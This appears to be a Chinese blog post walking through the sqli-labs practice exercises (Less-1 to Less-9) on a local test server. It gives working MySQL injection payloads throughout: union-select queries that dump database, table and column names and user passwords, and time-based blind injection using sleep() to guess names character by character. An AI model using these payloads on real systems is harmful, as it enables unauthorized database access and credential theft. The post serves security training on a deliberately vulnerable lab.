sqli_labs终于来了

首先了解sql 注入的基本步骤:
1.判断是什么类型注入,有没过滤了关键字,可否绕过

2.获取数据库用户,版本,当前连接的数据库等信息

3.获取某个数据库表的信息

4.获取列信息

5.最后就获取数据了

(依次按照爆库->爆表->爆列->爆数据的顺序进行爆破)
url编码:
一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%
常用url编码有:空格是%20,单引号是%27, 井号是%23,双引号是%22
具体可查看:http://www.w3school.com.cn/tags/html_ref_urlencode.html

数据库的连接函数:
concat和concat_ws;
concat_ws的第一个参数是连接字符串的分隔符。
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
127.0.0.1/sqli-labs/Less-1/?id=-1’ union select

SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES:储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。

COLUMNS:存储mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。

less 1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

当传参为?id=1时,显示正常.直接在后面加个单引号(单引号会自动url编码)后出现报错。
这里我们就可以直接发现报错的地方,直接将后面注释,然后使用
1’ order by 3%23 //得到列数为3
-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名
(用d=非正数是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果)
-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’# //得到表名
-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name= ‘users’# //得到列名
-1’ union select 1,username,password from users where id=3# //爆破得到数据

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
当传参为?id=1时在添加’之后,出现报错,可以得到这个sql语句其实并没有单引号,只是用数字进行查询。
其余注入语法和less-1基本一样,只需要将’去掉即可

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
当传参为?id=1时在添加’之后,出现报错,可知该sql语句为id=(’$id’),所以我们可以需要闭合.
猜想一下输入1在数据库语句中的位置,形如select … from … where id=(‘1’) …,
可以得到大概的sql语句:
select * from users where id=(‘input’) LIMIT 0,1;
其余注入语法和less-1基本一样

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
当传参为?id=1时在添加’之后并未发现报错,尝试”发现报错,根据报错信息判断出输入的内容被放到一队双引号和圆括号中.
猜想一下:select… from … where id=(”1”) …,
可以得到大概的sql语句
select * from users where id = (“input”) LIMIT 0,1;
其余注入语法和less-1基本一样,把less-1中1后面的引号换成双引号加)就可以了

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in…,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。
用?id=1’ and sleep(5)–+验证时间延迟型的盲注,发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。
使用延时注入
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

爆库长 ?id=1’ and if(length(database())=8,sleep(5),1)–+
( 明显延迟,数据库长度为8.)

爆库名 ?id=1’ and if(left(database(),1)=‘s’,sleep(5),1)–+

​明显延迟,数据库第一个字符为s,加下来以此left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。
最终爆破得到left(database(),8)=‘security’

爆表名 ?id=1’ and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=‘r’ ,sleep(5),1)–+
(通过测试,终于在limit 3,1 爆破出user表名为users.)

爆列名 ?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),8)=‘password’ ,sleep(5),1)–+

爆破值 ?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+
?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
当传参为?id=1时双引号字符型注入,回显正常,其他步骤参考less-5,把less-5的单引号改成双引号就可以了

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
使用文件导出(不太会)

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
使用时间延迟盲注(参照less-5)

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

发布了24 篇原创文章 · 获赞 12 · 访问量 1056

猜你喜欢

转载自blog.csdn.net/eleven_77_/article/details/104795413